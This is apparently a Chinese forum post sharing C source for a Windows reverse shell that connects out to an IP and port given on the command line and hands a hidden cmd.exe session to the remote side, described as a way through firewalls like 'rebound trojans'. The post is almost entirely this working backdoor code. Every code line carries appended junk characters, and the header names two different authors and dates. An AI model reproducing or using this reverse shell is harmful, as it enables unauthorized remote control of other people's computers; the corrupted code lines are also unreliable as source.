这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== m!#)JFe67
Rebound port in Windows NT M$]O=2h+2
By wind,2006/7 Neo^C_[vN
===============================*/ KIAe36.~
#include ldCKSWIi-
#include Msa6yD#
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#pragma comment(lib,"wsock32.lib") !G"9xrr1
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void OutputShell(); ~
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SOCKET sClient; h\u0{!@}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qzHqj;
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void main(int argc,char **argv) rTsbP40
{ Zu0;/_rN
WSADATA stWsaData; 5e/qgI)M5
int nRet; l@tyg7CwY
SOCKADDR_IN stSaiClient,stSaiServer; T$8@2[
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if(argc != 3) kToVBU$
{ g",w kO|
printf("Useage:\n\rRebound DestIP DestPort\n"); d(DX(xg
return; :<t{ =0G
} 8G5)o`
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3u?`q%Y-e
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Tn@UX(^,
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stSaiClient.sin_family = AF_INET; e:$7^Y,U/
stSaiClient.sin_port = htons(0); 'Wf?elB+
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sMz^!RX@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;Y@!:p-H
{ >St.c
printf("Bind Socket Failed!\n"); 4#@W;'
return; UKKSc>D1
} sw41wj
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stSaiServer.sin_family = AF_INET; Y3P.|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ];pf
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]<8B-D?Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zmB31' _
{ FI1THzW4J
printf("Connect Error!"); GJIWG&C03
return; >k&8el6h
} Q$|^~
OutputShell(); |-(IJG#)
} jJ*@5?A
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void OutputShell() z29qARiX
{ pK6e/eC
char szBuff[1024]; aE7u5PM
SECURITY_ATTRIBUTES stSecurityAttributes; %ezb^O_6v
OSVERSIONINFO stOsversionInfo; ggm2%|?X
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; atLV`U&t
STARTUPINFO stStartupInfo; uq !;
char *szShell; <$i"zb
PROCESS_INFORMATION stProcessInformation; VG<Hw{ c3r
unsigned long lBytesRead; @cuD8<\i
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i\=z'
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )|w*/JK\Z
stSecurityAttributes.lpSecurityDescriptor = 0; =y<">-
stSecurityAttributes.bInheritHandle = TRUE; ET,Q3X\Oe
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %s$rP
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xl+DRPzl
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2PVx++*]C
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vix&E`0yD
stStartupInfo.wShowWindow = SW_HIDE; 0PnD|]9:
stStartupInfo.hStdInput = hReadPipe; 2qZa9^}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3[0w+{(Q
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GetVersionEx(&stOsversionInfo); QU^/[75Ea0
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switch(stOsversionInfo.dwPlatformId) *2JH_Cj`
{ o {=qC: b
case 1: ?xtt7*'D
szShell = "command.com"; kAZC"qM%i
break; R*s* +I
default: UGhW0X3k
szShell = "cmd.exe"; (;;J,*NP
break; "s F Xl
} LXHwX*`Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,M\j%3
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send(sClient,szMsg,77,0); cPpu
while(1) "| Kf'/r
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1s#yWQ
if(lBytesRead) Vh"MKJ'R^
{ 9o-!ecx}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kWB, ;7
send(sClient,szBuff,lBytesRead,0); Gs[Vu@*
} cCM
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else UdT&cG
{ / Zo~1q
lBytesRead=recv(sClient,szBuff,1024,0); P3'2IzNw
if(lBytesRead<=0) break; W8f`J2^"M
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); BJ~ivT<
} {5T0RL{\N
} 9*#$0Y=
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return; nIf N"
}